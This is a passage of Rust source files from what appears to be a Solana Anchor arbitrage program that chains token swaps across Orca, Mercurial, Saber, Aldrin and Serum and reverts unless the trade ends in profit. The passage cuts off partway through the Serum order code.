swaps; 16 | 17 | pub use swaps::*; 18 | 19 | #[program] 20 | pub mod tmp { 21 | use super::*; 22 | 23 | pub fn init_program(ctx: Context) -> Result<()> { 24 | let swap_state = &mut ctx.accounts.swap_state; 25 | swap_state.swap_input = 0; 26 | swap_state.is_valid = false; 27 | Ok(()) 28 | } 29 | 30 | pub fn start_swap(ctx: Context, swap_input: u64) -> Result<()> { 31 | let swap_state = &mut ctx.accounts.swap_state; 32 | swap_state.start_balance = ctx.accounts.src.amount; // ! 33 | swap_state.swap_input = swap_input; // ! 34 | swap_state.is_valid = true; 35 | Ok(()) 36 | } 37 | 38 | pub fn profit_or_revert(ctx: Context) -> Result<()> { 39 | let swap_state = &mut ctx.accounts.swap_state; 40 | swap_state.is_valid = false; // record end of swap 41 | 42 | let init_balance = swap_state.start_balance; 43 | let final_balance = ctx.accounts.src.amount; 44 | 45 | msg!("old = {:?}; new = {:?}; diff = {:?}", init_balance, final_balance, final_balance - init_balance); 46 | 47 | // ensure profit or revert 48 | require!(final_balance > init_balance, ErrorCode::NoProfit); 49 | 50 | Ok(()) 51 | } 52 | 53 | /// Convenience API to initialize an open orders account on the Serum DEX. 54 | pub fn init_open_order(ctx: Context) -> Result<()> { 55 | _init_open_order(ctx) 56 | } 57 | 58 | pub fn orca_swap<'info>(ctx: Context<'_, '_, '_, 'info, OrcaSwap<'info>>) -> Result<()> { 59 | basic_pool_swap!(_orca_swap, OrcaSwap<'info>)(ctx) 60 | } 61 | 62 | pub fn mercurial_swap<'info>(ctx: Context<'_, '_, '_, 'info, MercurialSwap<'info>>) -> Result<()> { 63 | basic_pool_swap!(_mercurial_swap, MercurialSwap<'info>)(ctx) 64 | } 65 | 66 | pub fn saber_swap<'info>(ctx: Context<'_, '_, '_, 'info, SaberSwap<'info>>) -> Result<()> { 67 | basic_pool_swap!(_saber_swap, SaberSwap<'info>)(ctx) 68 | } 69 | 70 | pub fn aldrin_swap_v2<'info>(ctx: Context<'_, '_, '_, 'info, AldrinSwapV2<'info>>, is_inverted: bool) -> Result<()> { 71 | let amount_in = prepare_swap(&ctx.accounts.swap_state)?; 72 | 73 | _aldrin_swap_v2(&ctx, amount_in, is_inverted)?; 74 | 75 | // end swap 76 | let user_dst = match is_inverted { 77 | true => &mut ctx.accounts.user_quote_ata, 78 | false => &mut ctx.accounts.user_base_ata 79 | }; 80 | let swap_state = &mut ctx.accounts.swap_state; 81 | end_swap(swap_state, user_dst)?; 82 | 83 | Ok(()) 84 | } 85 | 86 | pub fn aldrin_swap_v1<'info>(ctx: Context<'_, '_, '_, 'info, AldrinSwapV1<'info>>, is_inverted: bool) -> Result<()> { 87 | let amount_in = prepare_swap(&ctx.accounts.swap_state)?; 88 | 89 | _aldrin_swap_v1(&ctx, amount_in, is_inverted)?; 90 | 91 | // end swap 92 | let user_dst = match is_inverted { 93 | true => &mut ctx.accounts.user_quote_ata, 94 | false => &mut ctx.accounts.user_base_ata 95 | }; 96 | let swap_state = &mut ctx.accounts.swap_state; 97 | end_swap(swap_state, user_dst)?; 98 | 99 | Ok(()) 100 | } 101 | 102 | pub fn serum_swap<'info>(ctx: Context<'_, '_, '_, 'info, SerumSwap<'info>>, side: Side) -> Result<()> { 103 | let amount_in = prepare_swap(&ctx.accounts.swap_state)?; 104 | let is_bid = match side { 105 | Side::Bid => true, 106 | Side::Ask => false, 107 | }; 108 | 109 | _serum_swap(&ctx, amount_in, side)?; 110 | 111 | // end swap 112 | let user_dst = match is_bid { 113 | true => &mut ctx.accounts.market.coin_wallet, 114 | false => &mut ctx.accounts.pc_wallet, 115 | }; 116 | let swap_state = &mut ctx.accounts.swap_state; 117 | end_swap(swap_state, user_dst)?; 118 | 119 | Ok(()) 120 | 121 | } 122 | 123 | } 124 | 125 | #[macro_export] 126 | macro_rules! basic_pool_swap { 127 | ($swap_fcn:expr, $typ:ident < $tipe:tt > ) => {{ 128 | |ctx: Context<'_, '_, '_, 'info, $typ<$tipe>> | -> Result<()> { 129 | // save the amount of input swap 130 | let amount_in = prepare_swap(&ctx.accounts.swap_state).unwrap(); 131 | 132 | // do swap 133 | $swap_fcn(&ctx, amount_in).unwrap(); 134 | 135 | // update the swap output amount (to be used as input to next swap) 136 | let swap_state = &mut ctx.accounts.swap_state; 137 | let user_dst = &mut ctx.accounts.user_dst; 138 | end_swap(swap_state, user_dst).unwrap(); 139 | 140 | Ok(()) 141 | } 142 | }}; 143 | } 144 | 145 | pub fn end_swap( 146 | swap_state: &mut Account, 147 | user_dst: &mut Account 148 | ) -> Result<()> { 149 | 150 | // derive the output of the swap 151 | let dst_start_balance = user_dst.amount; // pre-swap balance 152 | user_dst.reload()?; // update underlying account 153 | let dst_end_balance = user_dst.amount; // post-swap balance 154 | let swap_amount_out = dst_end_balance - dst_start_balance; 155 | msg!("swap amount out: {:?}", swap_amount_out); 156 | 157 | // will be input amount into the next swap ix 158 | swap_state.swap_input = swap_amount_out; 159 | 160 | Ok(()) 161 | } 162 | 163 | pub fn prepare_swap( 164 | swap_state: &Account, 165 | ) -> Result { 166 | require!(swap_state.is_valid, ErrorCode::InvalidState); 167 | // get the swap in amount from the state 168 | let amount_in = swap_state.swap_input; 169 | msg!("swap amount in: {:?}", amount_in); 170 | 171 | Ok(amount_in) 172 | } 173 | 174 | #[derive(Accounts)] 175 | pub struct InitSwapState<'info> { 176 | #[account( 177 | init, 178 | payer=payer, 179 | seeds=[b"swap_state"], 180 | bump, 181 | )] 182 | pub swap_state: Account<'info, SwapState>, 183 | #[account(mut)] 184 | pub payer: Signer<'info>, 185 | pub system_program: Program<'info, System>, 186 | } 187 | 188 | #[derive(Accounts)] 189 | pub struct TokenAndSwapState<'info> { 190 | src: Account<'info, TokenAccount>, 191 | #[account(mut, seeds=[b"swap_state"], bump)] 192 | pub swap_state: Account<'info, SwapState>, 193 | } -------------------------------------------------------------------------------- /src/programs/tmp/src/state.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | #[account] 4 | #[derive(Default)] 5 | pub struct SwapState { 6 | pub start_balance: u64, // start of swap balance 7 | pub swap_input: u64, // output of swap 8 | pub is_valid: bool, // saftey 9 | } 10 | -------------------------------------------------------------------------------- /src/programs/tmp/src/swaps/aldrin.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use solana_program::instruction::{AccountMeta, Instruction}; 3 | use solana_program; 4 | use anchor_spl::{ 5 | token::{TokenAccount} 6 | }; 7 | use anchor_lang::{Accounts}; 8 | use sha2::{Digest, Sha256}; 9 | 10 | use crate::state::SwapState; 11 | 12 | pub fn _aldrin_swap_v1<'info>( 13 | ctx: &Context<'_, '_, '_, 'info, AldrinSwapV1<'info>>, 14 | amount_in: u64, 15 | is_inverted: bool, 16 | ) -> Result<()> { 17 | 18 | // anchor method discriminator 19 | let key = "global:swap".to_string(); 20 | let mut hasher = Sha256::new(); 21 | hasher.update(key); 22 | let result = hasher.finalize(); 23 | let fcn_name = &result.as_slice()[..8]; 24 | 25 | let amount_in_bytes = &amount_in.try_to_vec().unwrap()[..]; 26 | let amount_out_bytes = &(0 as u64).try_to_vec().unwrap()[..]; 27 | let bid_ask_flag = if is_inverted { 1 } else { 0 }; // 0 = bid, 1 = ask 28 | let bid_ask = &[bid_ask_flag]; 29 | let data = [ 30 | fcn_name, 31 | amount_in_bytes, 32 | amount_out_bytes, 33 | bid_ask, 34 | ].concat(); 35 | 36 | let ix_accounts = vec![ 37 | AccountMeta::new_readonly(*ctx.accounts.pool_public_key.key, false), 38 | AccountMeta::new_readonly(*ctx.accounts.pool_signer.key, false), 39 | 40 | AccountMeta::new(*ctx.accounts.pool_mint.key, false), 41 | AccountMeta::new(*ctx.accounts.base_token_vault.key, false), 42 | AccountMeta::new(*ctx.accounts.quote_token_vault.key, false), 43 | AccountMeta::new(*ctx.accounts.fee_pool_token_account.key, false), 44 | 45 | AccountMeta::new_readonly(*ctx.accounts.user_transfer_authority.key, true), 46 | AccountMeta::new(ctx.accounts.user_base_ata.key(), false), 47 | AccountMeta::new(ctx.accounts.user_quote_ata.key(), false), 48 | AccountMeta::new_readonly(*ctx.accounts.token_program.key, false), 49 | ]; 50 | 51 | // gotta work with the bytes to get this right 52 | let instruction = Instruction { 53 | program_id: *ctx.accounts.aldrin_v1_program.key, 54 | accounts: ix_accounts, 55 | data: data, 56 | }; 57 | 58 | let accounts = vec![ 59 | ctx.accounts.pool_public_key.to_account_info(), 60 | ctx.accounts.pool_signer.to_account_info(), 61 | ctx.accounts.pool_mint.to_account_info(), 62 | ctx.accounts.base_token_vault.to_account_info(), 63 | ctx.accounts.quote_token_vault.to_account_info(), 64 | ctx.accounts.fee_pool_token_account.to_account_info(), 65 | ctx.accounts.user_transfer_authority.to_account_info(), 66 | ctx.accounts.user_base_ata.to_account_info(), 67 | ctx.accounts.user_quote_ata.to_account_info(), 68 | ctx.accounts.token_program.to_account_info(), 69 | ctx.accounts.aldrin_v1_program.to_account_info() 70 | ]; 71 | 72 | solana_program::program::invoke( 73 | &instruction, 74 | &accounts, 75 | )?; 76 | 77 | Ok(()) 78 | } 79 | 80 | pub fn _aldrin_swap_v2<'info>( 81 | ctx: &Context<'_, '_, '_, 'info, AldrinSwapV2<'info>>, 82 | amount_in: u64, 83 | is_inverted: bool, 84 | ) -> Result<()> { 85 | 86 | // anchor method discriminator 87 | let key = "global:swap".to_string(); 88 | let mut hasher = Sha256::new(); 89 | hasher.update(key); 90 | let result = hasher.finalize(); 91 | let fcn_name = &result.as_slice()[..8]; 92 | 93 | let amount_in_bytes = &amount_in.try_to_vec().unwrap()[..]; 94 | let amount_out_bytes = &(0 as u64).try_to_vec().unwrap()[..]; 95 | let bid_ask_flag = if is_inverted { 1 } else { 0 }; // 0 = bid, 1 = ask 96 | let bid_ask = &[bid_ask_flag]; 97 | let data = [ 98 | fcn_name, 99 | amount_in_bytes, 100 | amount_out_bytes, 101 | bid_ask, 102 | ].concat(); 103 | 104 | let ix_accounts = vec![ 105 | AccountMeta::new_readonly(*ctx.accounts.pool_public_key.key, false), 106 | AccountMeta::new_readonly(*ctx.accounts.pool_signer.key, false), 107 | 108 | AccountMeta::new(*ctx.accounts.pool_mint.key, false), 109 | AccountMeta::new(*ctx.accounts.base_token_vault.key, false), 110 | AccountMeta::new(*ctx.accounts.quote_token_vault.key, false), 111 | AccountMeta::new(*ctx.accounts.fee_pool_token_account.key, false), 112 | 113 | AccountMeta::new_readonly(*ctx.accounts.user_transfer_authority.key, true), 114 | AccountMeta::new(ctx.accounts.user_base_ata.key(), false), 115 | AccountMeta::new(ctx.accounts.user_quote_ata.key(), false), 116 | AccountMeta::new_readonly(*ctx.accounts.curve.key, false), 117 | AccountMeta::new_readonly(*ctx.accounts.token_program.key, false), 118 | ]; 119 | 120 | // gotta work with the bytes to get this right 121 | let instruction = Instruction { 122 | program_id: *ctx.accounts.aldrin_v2_program.key, 123 | accounts: ix_accounts, 124 | data: data, 125 | }; 126 | 127 | let accounts = vec![ 128 | ctx.accounts.pool_public_key.to_account_info(), 129 | ctx.accounts.pool_signer.to_account_info(), 130 | ctx.accounts.pool_mint.to_account_info(), 131 | ctx.accounts.base_token_vault.to_account_info(), 132 | ctx.accounts.quote_token_vault.to_account_info(), 133 | ctx.accounts.fee_pool_token_account.to_account_info(), 134 | ctx.accounts.user_transfer_authority.to_account_info(), 135 | ctx.accounts.user_base_ata.to_account_info(), 136 | ctx.accounts.user_quote_ata.to_account_info(), 137 | ctx.accounts.curve.to_account_info(), 138 | ctx.accounts.token_program.to_account_info(), 139 | ctx.accounts.aldrin_v2_program.to_account_info() 140 | ]; 141 | 142 | solana_program::program::invoke( 143 | &instruction, 144 | &accounts, 145 | )?; 146 | 147 | Ok(()) 148 | } 149 | 150 | #[derive(Accounts)] 151 | pub struct AldrinSwapV1<'info> { 152 | pub pool_public_key: AccountInfo<'info>, 153 | pub pool_signer: AccountInfo<'info>, 154 | #[account(mut)] 155 | pub pool_mint: AccountInfo<'info>, 156 | #[account(mut)] 157 | pub base_token_vault: AccountInfo<'info>, 158 | #[account(mut)] 159 | pub quote_token_vault: AccountInfo<'info>, 160 | #[account(mut)] 161 | pub fee_pool_token_account: AccountInfo<'info>, 162 | pub user_transfer_authority : Signer<'info>, 163 | #[account(mut)] 164 | pub user_base_ata: Account<'info, TokenAccount>, 165 | #[account(mut)] 166 | pub user_quote_ata: Account<'info, TokenAccount>, 167 | pub aldrin_v1_program: AccountInfo<'info>, 168 | pub token_program: AccountInfo<'info>, 169 | #[account(mut, seeds=[b"swap_state"], bump)] 170 | pub swap_state: Account<'info, SwapState>, 171 | } 172 | 173 | #[derive(Accounts)] 174 | pub struct AldrinSwapV2<'info> { 175 | pub pool_public_key: AccountInfo<'info>, 176 | pub pool_signer: AccountInfo<'info>, 177 | #[account(mut)] 178 | pub pool_mint: AccountInfo<'info>, 179 | #[account(mut)] 180 | pub base_token_vault: AccountInfo<'info>, 181 | #[account(mut)] 182 | pub quote_token_vault: AccountInfo<'info>, 183 | #[account(mut)] 184 | pub fee_pool_token_account: AccountInfo<'info>, 185 | pub user_transfer_authority : Signer<'info>, 186 | #[account(mut)] 187 | pub user_base_ata: Account<'info, TokenAccount>, 188 | #[account(mut)] 189 | pub user_quote_ata: Account<'info, TokenAccount>, 190 | pub aldrin_v2_program: AccountInfo<'info>, 191 | pub curve: AccountInfo<'info>, // v2 difference! 192 | pub token_program: AccountInfo<'info>, 193 | #[account(mut, seeds=[b"swap_state"], bump)] 194 | pub swap_state: Account<'info, SwapState>, 195 | } 196 | -------------------------------------------------------------------------------- /src/programs/tmp/src/swaps/mercurial.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use solana_program::instruction::{AccountMeta, Instruction}; 3 | use solana_program; 4 | use anchor_spl::{ 5 | token::{TokenAccount} 6 | }; 7 | use anchor_lang::{Accounts}; 8 | use crate::ix_data::SwapData; 9 | use crate::state::SwapState; 10 | 11 | pub fn _mercurial_swap<'info>( 12 | ctx: &Context<'_, '_, '_, 'info, MercurialSwap<'info>>, 13 | amount_in: u64 14 | ) -> Result<()> { 15 | // get initial balances 16 | let data = SwapData { 17 | instruction: 4, // swap instruction 18 | amount_in: amount_in, 19 | minimum_amount_out: 0, // no saftey lmfao 20 | }; 21 | 22 | let ix_accounts = vec![ 23 | AccountMeta::new(*ctx.accounts.pool_account.key, false), 24 | 25 | AccountMeta::new_readonly(*ctx.accounts.token_program.key, false), 26 | AccountMeta::new_readonly(*ctx.accounts.authority.key, false), 27 | AccountMeta::new_readonly(*ctx.accounts.user_transfer_authority.key, true), 28 | 29 | AccountMeta::new(*ctx.accounts.pool_src.key, false), 30 | AccountMeta::new(*ctx.accounts.pool_dst.key, false), 31 | AccountMeta::new(ctx.accounts.user_src.key(), false), 32 | AccountMeta::new(ctx.accounts.user_dst.key(), false), 33 | ]; 34 | 35 | let instruction = Instruction { 36 | program_id: *ctx.accounts.mercurial_swap_program.key, 37 | accounts: ix_accounts, 38 | data: data.try_to_vec()?, 39 | }; 40 | 41 | let accounts = vec![ 42 | ctx.accounts.pool_account.to_account_info(), 43 | ctx.accounts.token_program.to_account_info(), 44 | ctx.accounts.authority.to_account_info(), 45 | ctx.accounts.user_transfer_authority.to_account_info(), 46 | ctx.accounts.pool_src.to_account_info(), 47 | ctx.accounts.pool_dst.to_account_info(), 48 | ctx.accounts.user_src.to_account_info(), 49 | ctx.accounts.user_dst.to_account_info(), 50 | ctx.accounts.mercurial_swap_program.to_account_info(), 51 | ]; 52 | 53 | solana_program::program::invoke( 54 | &instruction, 55 | &accounts, 56 | )?; 57 | 58 | Ok(()) 59 | } 60 | 61 | #[derive(Accounts)] 62 | pub struct MercurialSwap<'info> { 63 | #[account(mut)] 64 | pub pool_account: AccountInfo<'info>, 65 | pub authority: AccountInfo<'info>, 66 | pub user_transfer_authority : Signer<'info>, 67 | #[account(mut)] 68 | pub user_src: Account<'info, TokenAccount>, 69 | #[account(mut)] 70 | pub pool_src: AccountInfo<'info>, 71 | #[account(mut)] 72 | pub pool_dst: AccountInfo<'info>, 73 | #[account(mut)] 74 | pub user_dst: Account<'info, TokenAccount>, 75 | pub token_program: AccountInfo<'info>, 76 | pub mercurial_swap_program: AccountInfo<'info>, 77 | #[account(mut, seeds=[b"swap_state"], bump)] 78 | pub swap_state: Account<'info, SwapState>, 79 | } 80 | -------------------------------------------------------------------------------- /src/programs/tmp/src/swaps/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod orca; 2 | pub use orca::*; 3 | 4 | pub mod mercurial; 5 | pub use mercurial::*; 6 | 7 | pub mod saber; 8 | pub use saber::*; 9 | 10 | pub mod aldrin; 11 | pub use aldrin::*; 12 | 13 | pub mod serum; 14 | pub use serum::*; -------------------------------------------------------------------------------- /src/programs/tmp/src/swaps/orca.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use solana_program::instruction::{AccountMeta, Instruction}; 3 | use solana_program; 4 | use anchor_spl::{ 5 | token::{TokenAccount} 6 | }; 7 | use anchor_lang::{Accounts}; 8 | use crate::ix_data::SwapData; 9 | use crate::state::SwapState; 10 | 11 | pub fn _orca_swap<'info>( 12 | ctx: &Context<'_, '_, '_, 'info, OrcaSwap<'info>>, 13 | amount_in: u64 14 | ) -> Result<()> { 15 | 16 | let data = SwapData { 17 | instruction: 1, // swap instruction 18 | amount_in: amount_in, 19 | minimum_amount_out: 0, // no saftey lmfao 20 | }; 21 | 22 | let ix_accounts = vec![ 23 | AccountMeta::new_readonly(*ctx.accounts.token_swap.key, false), 24 | AccountMeta::new_readonly(*ctx.accounts.authority.key, false), 25 | AccountMeta::new_readonly(*ctx.accounts.user_transfer_authority.key, true), 26 | 27 | AccountMeta::new(ctx.accounts.user_src.key(), false), 28 | AccountMeta::new(*ctx.accounts.pool_src.key, false), 29 | AccountMeta::new(*ctx.accounts.pool_dst.key, false), 30 | AccountMeta::new(ctx.accounts.user_dst.key(), false), 31 | AccountMeta::new(*ctx.accounts.pool_mint.key, false), 32 | AccountMeta::new(*ctx.accounts.fee_account.key, false), 33 | 34 | AccountMeta::new_readonly(*ctx.accounts.token_program.key, false), 35 | ]; 36 | 37 | let instruction = Instruction { 38 | program_id: *ctx.accounts.token_swap_program.key, 39 | accounts: ix_accounts, 40 | data: data.try_to_vec()?, 41 | }; 42 | 43 | let accounts = vec![ 44 | ctx.accounts.token_swap.to_account_info(), 45 | ctx.accounts.authority.to_account_info(), 46 | ctx.accounts.user_transfer_authority.to_account_info(), 47 | ctx.accounts.user_src.to_account_info(), 48 | ctx.accounts.pool_src.to_account_info(), 49 | ctx.accounts.pool_dst.to_account_info(), 50 | ctx.accounts.user_dst.to_account_info(), 51 | ctx.accounts.pool_mint.to_account_info(), 52 | ctx.accounts.fee_account.to_account_info(), 53 | ctx.accounts.token_program.to_account_info(), 54 | ctx.accounts.token_swap_program.to_account_info(), 55 | ]; 56 | 57 | solana_program::program::invoke( 58 | &instruction, 59 | &accounts, 60 | )?; 61 | 62 | Ok(()) 63 | } 64 | 65 | #[derive(Accounts)] 66 | pub struct OrcaSwap<'info> { 67 | pub token_swap: AccountInfo<'info>, 68 | pub authority: AccountInfo<'info>, 69 | pub user_transfer_authority : Signer<'info>, 70 | #[account(mut)] 71 | pub user_src: Account<'info, TokenAccount>, 72 | #[account(mut)] 73 | pub pool_src: AccountInfo<'info>, 74 | #[account(mut)] 75 | pub pool_dst: AccountInfo<'info>, 76 | #[account(mut)] 77 | pub user_dst: Account<'info, TokenAccount>, 78 | #[account(mut)] 79 | pub pool_mint: AccountInfo<'info>, 80 | #[account(mut)] 81 | pub fee_account: AccountInfo<'info>, 82 | pub token_program: AccountInfo<'info>, 83 | pub token_swap_program: AccountInfo<'info>, 84 | #[account(mut, seeds=[b"swap_state"], bump)] 85 | pub swap_state: Account<'info, SwapState>, 86 | } 87 | 88 | 89 | -------------------------------------------------------------------------------- /src/programs/tmp/src/swaps/saber.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use solana_program::instruction::{AccountMeta, Instruction}; 3 | use solana_program; 4 | use anchor_spl::{ 5 | token::{TokenAccount} 6 | }; 7 | use anchor_lang::{Accounts}; 8 | use crate::ix_data::SwapData; 9 | use crate::state::SwapState; 10 | 11 | pub fn _saber_swap<'info>( 12 | ctx: &Context<'_, '_, '_, 'info, SaberSwap<'info>>, 13 | amount_in: u64 14 | ) -> Result<()> { 15 | 16 | let data = SwapData { 17 | instruction: 1, // swap instruction 18 | amount_in: amount_in, 19 | minimum_amount_out: 0, // no saftey lmfao 20 | }; 21 | 22 | let ix_accounts = vec![ 23 | AccountMeta::new(*ctx.accounts.pool_account.key, false), 24 | 25 | AccountMeta::new_readonly(*ctx.accounts.authority.key, false), 26 | AccountMeta::new_readonly(*ctx.accounts.user_transfer_authority.key, true), 27 | 28 | AccountMeta::new(ctx.accounts.user_src.key(), false), 29 | AccountMeta::new(*ctx.accounts.pool_src.key, false), 30 | AccountMeta::new(*ctx.accounts.pool_dst.key, false), 31 | AccountMeta::new(ctx.accounts.user_dst.key(), false), 32 | AccountMeta::new(ctx.accounts.fee_dst.key(), false), 33 | 34 | AccountMeta::new_readonly(*ctx.accounts.token_program.key, false), 35 | ]; 36 | 37 | let instruction = Instruction { 38 | program_id: *ctx.accounts.saber_swap_program.key, 39 | accounts: ix_accounts, 40 | data: data.try_to_vec()?, 41 | }; 42 | 43 | let accounts = vec![ 44 | ctx.accounts.pool_account.to_account_info(), 45 | ctx.accounts.authority.to_account_info(), 46 | ctx.accounts.user_transfer_authority.to_account_info(), 47 | ctx.accounts.user_src.to_account_info(), 48 | ctx.accounts.pool_src.to_account_info(), 49 | ctx.accounts.pool_dst.to_account_info(), 50 | ctx.accounts.user_dst.to_account_info(), 51 | ctx.accounts.fee_dst.to_account_info(), 52 | ctx.accounts.token_program.to_account_info(), 53 | ctx.accounts.saber_swap_program.to_account_info() 54 | ]; 55 | 56 | solana_program::program::invoke( 57 | &instruction, 58 | &accounts, 59 | )?; 60 | 61 | Ok(()) 62 | } 63 | 64 | #[derive(Accounts, Clone)] 65 | pub struct SaberSwap<'info> { 66 | #[account(mut)] 67 | pub pool_account: AccountInfo<'info>, 68 | pub authority: AccountInfo<'info>, 69 | pub user_transfer_authority : Signer<'info>, 70 | #[account(mut)] 71 | pub user_src: Account<'info, TokenAccount>, 72 | #[account(mut)] 73 | pub pool_src: AccountInfo<'info>, 74 | #[account(mut)] 75 | pub pool_dst: AccountInfo<'info>, 76 | #[account(mut)] 77 | pub user_dst: Account<'info, TokenAccount>, 78 | #[account(mut)] 79 | pub fee_dst: Account<'info, TokenAccount>, 80 | // ... 81 | pub saber_swap_program: AccountInfo<'info>, 82 | #[account(mut, seeds=[b"swap_state"], bump)] 83 | pub swap_state: Account<'info, SwapState>, 84 | pub token_program: AccountInfo<'info>, 85 | } -------------------------------------------------------------------------------- /src/programs/tmp/src/swaps/serum.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_lang::Accounts; 3 | 4 | use anchor_spl::dex; 5 | use anchor_spl::dex::serum_dex::instruction::SelfTradeBehavior; 6 | use anchor_spl::dex::serum_dex::matching::{OrderType, Side as SerumSide}; 7 | use anchor_spl::dex::serum_dex::state::MarketState; 8 | use anchor_spl::token::TokenAccount; 9 | use std::num::NonZeroU64; 10 | 11 | use crate::state::SwapState; 12 | 13 | // all taken from the serum swap program 14 | 15 | /// Convenience API to initialize an open orders account on the Serum DEX. 16 | pub fn _init_open_order<'info>(ctx: Context) -> Result<()> { 17 | let ctx = CpiContext::new(ctx.accounts.dex_program.clone(), ctx.accounts.into()); 18 | dex::init_open_orders(ctx).unwrap(); 19 | Ok(()) 20 | } 21 | 22 | pub fn _serum_swap<'info>( 23 | ctx: &Context<'_, '_, '_, 'info, SerumSwap<'info>>, 24 | amount_in: u64, 25 | side: Side, 26 | ) -> Result<()> { 27 | 28 | // Optional referral account (earns a referral fee). 29 | let referral = ctx.remaining_accounts.iter().next().map(Clone::clone); 30 | 31 | // Execute trade. 32 | let orderbook: OrderbookClient<'info> = (&*ctx.accounts).into(); 33 | match side { 34 | Side::Bid => orderbook.buy(amount_in, None)?, 35 | Side::Ask => orderbook.sell(amount_in, None)?, 36 | }; 37 | orderbook.settle(referral)?; // instant settle 38 | 39 | Ok(()) 40 | } 41 | 42 | 43 | #[derive(Accounts)] 44 | pub struct InitOpenOrder<'info> { 45 | #[account(mut)] 46 | pub open_orders: AccountInfo<'info>, 47 | #[account(signer)] 48 | pub authority: AccountInfo<'info>, 49 | pub market: AccountInfo<'info>, 50 | pub dex_program: AccountInfo<'info>, 51 | pub rent: AccountInfo<'info>, 52 | } 53 | 54 | impl<'info> From<&mut InitOpenOrder<'info>> for dex::InitOpenOrders<'info> { 55 | fn from(accs: &mut InitOpenOrder<'info>) -> dex::InitOpenOrders<'info> { 56 | dex::InitOpenOrders { 57 | open_orders: accs.open_orders.clone(), 58 | authority: accs.authority.clone(), 59 | market: accs.market.clone(), 60 | rent: accs.rent.clone(), 61 | } 62 | } 63 | } 64 | 65 | #[derive(Accounts)] 66 | pub struct CloseAccount<'info> { 67 | #[account(mut)] 68 | open_orders: AccountInfo<'info>, 69 | #[account(signer)] 70 | authority: AccountInfo<'info>, 71 | #[account(mut)] 72 | destination: AccountInfo<'info>, 73 | market: AccountInfo<'info>, 74 | dex_program: AccountInfo<'info>, 75 | } 76 | 77 | impl<'info> From<&mut CloseAccount<'info>> for dex::CloseOpenOrders<'info> { 78 | fn from(accs: &mut CloseAccount<'info>) -> dex::CloseOpenOrders<'info> { 79 | dex::CloseOpenOrders { 80 | open_orders: accs.open_orders.clone(), 81 | authority: accs.authority.clone(), 82 | destination: accs.destination.clone(), 83 | market: accs.market.clone(), 84 | } 85 | } 86 | } 87 | 88 | // The only constraint imposed on these accounts is that the market's base 89 | // currency mint is not equal to the quote currency's. All other checks are 90 | // done by the DEX on CPI. 91 | #[derive(Accounts)] 92 | pub struct SerumSwap<'info> { 93 | pub market: MarketAccounts<'info>, 94 | #[account(signer)] 95 | pub authority: AccountInfo<'info>, 96 | #[account(mut)] 97 | pub pc_wallet: Account<'info, TokenAccount>, // !! 98 | // Programs. 99 | pub dex_program: AccountInfo<'info>, 100 | pub token_program: AccountInfo<'info>, 101 | // Sysvars. 102 | pub rent: AccountInfo<'info>, 103 | #[account(mut, seeds=[b"swap_state"], bump, )] 104 | pub swap_state: Account<'info, SwapState>, 105 | } 106 | 107 | impl<'info> From<&SerumSwap<'info>> for OrderbookClient<'info> { 108 | fn from(accounts: &SerumSwap<'info>) -> OrderbookClient<'info> { 109 | OrderbookClient { 110 | market: accounts.market.clone(), 111 | authority: accounts.authority.clone(), 112 | pc_wallet: accounts.pc_wallet.to_account_info().clone(), 113 | dex_program: accounts.dex_program.clone(), 114 | token_program: accounts.token_program.clone(), 115 | rent: accounts.rent.clone(), 116 | } 117 | } 118 | } 119 | 120 | // Client for sending orders to the Serum DEX. 121 | #[derive(Clone)] 122 | struct OrderbookClient<'info> { 123 | market: MarketAccounts<'info>, 124 | authority: AccountInfo<'info>, 125 | pc_wallet: AccountInfo<'info>, 126 | dex_program: AccountInfo<'info>, 127 | token_program: AccountInfo<'info>, 128 | rent: AccountInfo<'info>, 129 | } 130 | 131 | impl<'info> OrderbookClient<'info> { 132 | // Executes the sell order portion of the swap, purchasing as much of the 133 | // quote currency as possible for the given `base_amount`. 134 | // 135 | // `base_amount` is the "native" amount of the base currency, i.e., token 136 | // amount including decimals. 137 | fn sell( 138 | &self, 139 | base_amount: u64, 140 | srm_msrm_discount: Option>, 141 | ) -> Result<()> { 142 | let limit_price = 1; 143 | let max_coin_qty = { 144 | // The loaded market must be dropped before CPI. 145 | let market = MarketState::load(&self.market.market, &dex::ID).unwrap(); 146 | coin_lots(&market, base_amount) 147 | }; 148 | let max_native_pc_qty = u64::MAX; 149 | self.order_cpi( 150 | limit_price, 151 | max_coin_qty, 152 | max_native_pc_qty, 153 | Side::Ask, 154 | srm_msrm_discount, 155 | ) 156 | } 157 | 158 | // Executes the buy order portion of the swap, purchasing as much of the 159 | // base currency as possible, for the given `quote_amount`. 160 | // 161 | // `quote_amount` is the "native" amount of the quote currency, i.e., token 162 | // amount including decimals. 163 | fn buy( 164 | &self, 165 | quote_amount: u64, 166 | srm_msrm_discount: Option>, 167 | ) -> Result<()> { 168 | let limit_price = u64::MAX; 169 | let max_coin_qty = u64::MAX; 170 | let max_native_pc_qty = quote_amount; 171 | self.order_cpi( 172 | limit_price, 173 | max_coin_qty, 174 | max_native_pc_qty, 175 | Side::Bid, 176 | srm_msrm_discount, 177 | ) 178 | } 179 | 180 | // Executes a new order on the serum dex via CPI. 181 | // 182 | // * `limit_price` - the limit order price in lot units. 183 | // * `max_coin_qty`- the max number of the base currency lot units. 184 | // * `max_native_pc_qty` - the max number of quote currency in native token 185 | // units (includes decimals). 186 | // * `side` - bid or ask, i.e. the type of order. 187 | // * `referral` - referral account, earning a fee. 188 | fn order_cpi( 189 | &self, 190 | limit_price: u64, 191 | max_coin_qty: u64, 192 | max_native_pc_qty: u64, 193 | side: Side, 194 | srm_msrm_discount: Option>, 195 | ) -> Result<()> { 196 | // Client order id is only used for cancels. Not used here so hardcode. 197 | let client_order_id = 0; 198 | // Limit is the dex's custom compute budge parameter, setting an upper 199 | // bound on the number of matching cycles the program can perform 200 | // before giving up and posting the remaining unmatched order. 201 | let limit = 65535; 202 | 203 | let mut ctx = CpiContext::new(self.dex_program.clone(), self.clone().into()); 204 | if let Some(srm_msrm_discount) = srm_msrm_discount { 205 | ctx = ctx.with_remaining_accounts(vec![srm_msrm_discount]); 206 | } 207 